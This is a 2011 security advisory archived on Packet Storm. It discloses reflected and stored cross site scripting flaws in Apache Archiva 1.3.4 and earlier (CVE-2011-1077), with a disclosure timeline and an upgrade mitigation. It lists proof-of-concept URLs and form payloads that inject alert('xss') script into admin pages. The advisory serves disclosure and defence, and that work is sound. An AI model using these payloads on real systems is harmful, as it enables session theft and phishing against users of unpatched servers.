what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Apache Archiva 1.3.4 Cross Site Scripting

Apache Archiva 1.3.4 Cross Site Scripting
Posted May 30, 2011
Authored by Riyaz Walikar | Site archiva.apache.org

Apache Archiva versions 1.3.0 through 1.3.4 suffer from multiple cross site scripting vulnerabilities. Proof of concept findings are included.

tags | exploit, vulnerability, xss, proof of concept
advisories | CVE-2011-1077
SHA-256 | 1f7075aceb2d7c4e01fac7c5d2d2a82b49fcbec88ecad5a0c498e8a110ae8625

Apache Archiva 1.3.4 Cross Site Scripting

Change Mirror Download
Hi,

This is regarding multiple XSS (Cross Site Scripting) Vulnerabilities in
Apache Archiva 1.3.4 (and previous versions). The following is the
disclosure document

Project: Apache Archiva
Severity: High
Versions: 1.3.0 - 1.3.4. The unsupported versions Archiva 1.0 - 1.2.2
are also affected.
Exploit type: Multiple XSS
Mitigation: Archiva 1.3.4 and earlier users should upgrade to 1.3.5
Vendor URL: http://archiva.apache.org/security.html
CVE: CVE-ID-2011-1077
--------------------------------------------------------------------

Timeline:
28 February 2011: Vendor Contacted
1 March 2011: Vendor Response received. CVE-2011-1026 for CSRF Issues
Assigned.
7 March 2011: CVE-2011-1077 Assigned for XSS Issues.
14 March 2011: Fixes released to selected channels / Found to be
insufficient
27 May 2011: Vendor releases v1.3.5
27 May 2011: Vendor releases security disclosure to Bugtraq and FD.
30 May 2011: Exploit details released.
--------------------------------------------------------------------

Product Description:
Apache Archiva is an extensible repository management software that
helps taking care of your own personal or enterprise-wide build artifact
repository. It is the perfect companion for build tools such as Maven,
Continuum, and ANT.

Archiva offers several capabilities, amongst which remote repository
proxying, security access management, build artifact storage, delivery,
browsing, indexing and usage reporting, extensible scanning
functionality... and many more!
(Source: http://archiva.apache.org/)
--------------------------------------------------------------------

Vulnerability Details:
User can insert HTML or execute arbitrary JavaScript code within the
vulnerable application. The vulnerabilities arise due to insufficient
input validation in multiple input fields throughout the application.
Successful exploitation of these vulnerabilities could result in, but
not limited to, compromise of the application, theft of
cookie-based authentication credentials, arbitrary url redirection,
disclosure or modification of sensitive data and phishing attacks.

----------------------------------------------------------------------

Proof of Concept:
Reflected XSS:
http://127.0.0.1:8080/archiva/security/useredit.action?username=test%3Cs
cript%3Ealert%28%27xss%27%29%3C/script%3E
http://127.0.0.1:8080/archiva/security/roleedit.action?name=%22%3E%3Cscr
ipt%3Ealert%28%27xss%27%29%3C%2Fscript%3E
http://127.0.0.1:8080/archiva/security/userlist!show.action?roleName=tes
t%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E
http://127.0.0.1:8080/archiva/deleteArtifact!doDelete.action?groupId=1<s
cript>alert('xss')</script>&artifactId=1<script>alert('xss')</script>&ve
rsion=1&repositoryId=internal
http://127.0.0.1:8080/archiva/admin/addLegacyArtifactPath!commit.action?
legacyArtifactPath.path=test%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript
%3E&groupId=test%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&artifact
Id=test%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&version=test%3Csc
ript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&classifier=test%3Cscript%3Eal
ert%28%27xss%27%29%3C%2Fscript%3E&type=test%3Cscript%3Ealert%28%27xss%27
%29%3C%2Fscript%3E
http://127.0.0.1:8080/archiva/admin/deleteNetworkProxy!confirm.action?pr
oxyid=test%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E


Persistant (Stored) XSS:
Exploit code: test<script>alert('xss')</script>
http://127.0.0.1:8080/archiva/admin/addRepository.action
(Identifier:repository.id, Name:repository.name,
Directory:repository.location, Index Directory:repository.indexDir)
http://127.0.0.1:8080/archiva/admin/confirmDeleteRepository.action?repoi
d=

http://127.0.0.1:8080/archiva/admin/editAppearance.action
(Name:organisationName, URL:organisation:URL, LogoURL:organisation:URL)
http://127.0.0.1:8080/archiva/admin/configureAppearance.action

http://127.0.0.1:8080/archiva/admin/addLegacyArtifactPath.action(Path:na
me=legacyArtifactPath.path, GroupId:groupId, ArtifactId:artifactId,
Version:version, Classifier:classifier, Type:type)
http://127.0.0.1:8080/archiva/admin/legacyArtifactPath.action

http://127.0.0.1:8080/archiva/admin/addNetworkProxy.action
(Identifier:proxy.id, Protocol:proxy.protocol, Hostname:proxy.host,
Port:proxy.port, Username:proxy.username)
http://127.0.0.1:8080/archiva/admin/networkProxies.action
---------------------------------------------------------------------

Warm Regards,
Riyaz Ahemed Walikar || Senior Engineer - Professional Services
Vulnerability Assessment & Penetration Testing
Mobile: +91-98860-42242 || Extn: 5601



The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material.
Any review, re-transmission, dissemination or other use of or taking of any action in reliance upon,this information by persons or entities other than the intended recipient is prohibited.
If you received this in error, please contact the sender and delete the material from your computer.
Microland takes all reasonable steps to ensure that its electronic communications are free from viruses.
However, given Internet accessibility, the Company cannot accept liability for any virus introduced by this e-mail or any attachment and you are advised to use up-to-date virus checking software.

Login or Register to add favorites

File Archive:

November 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    16 Files
  • 2
    Nov 2nd
    17 Files
  • 3
    Nov 3rd
    17 Files
  • 4
    Nov 4th
    11 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    3 Files
  • 8
    Nov 8th
    59 Files
  • 9
    Nov 9th
    12 Files
  • 10
    Nov 10th
    6 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    1 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    9 Files
  • 15
    Nov 15th
    33 Files
  • 16
    Nov 16th
    53 Files
  • 17
    Nov 17th
    11 Files
  • 18
    Nov 18th
    14 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    26 Files
  • 22
    Nov 22nd
    22 Files
  • 23
    Nov 23rd
    10 Files
  • 24
    Nov 24th
    9 Files
  • 25
    Nov 25th
    11 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close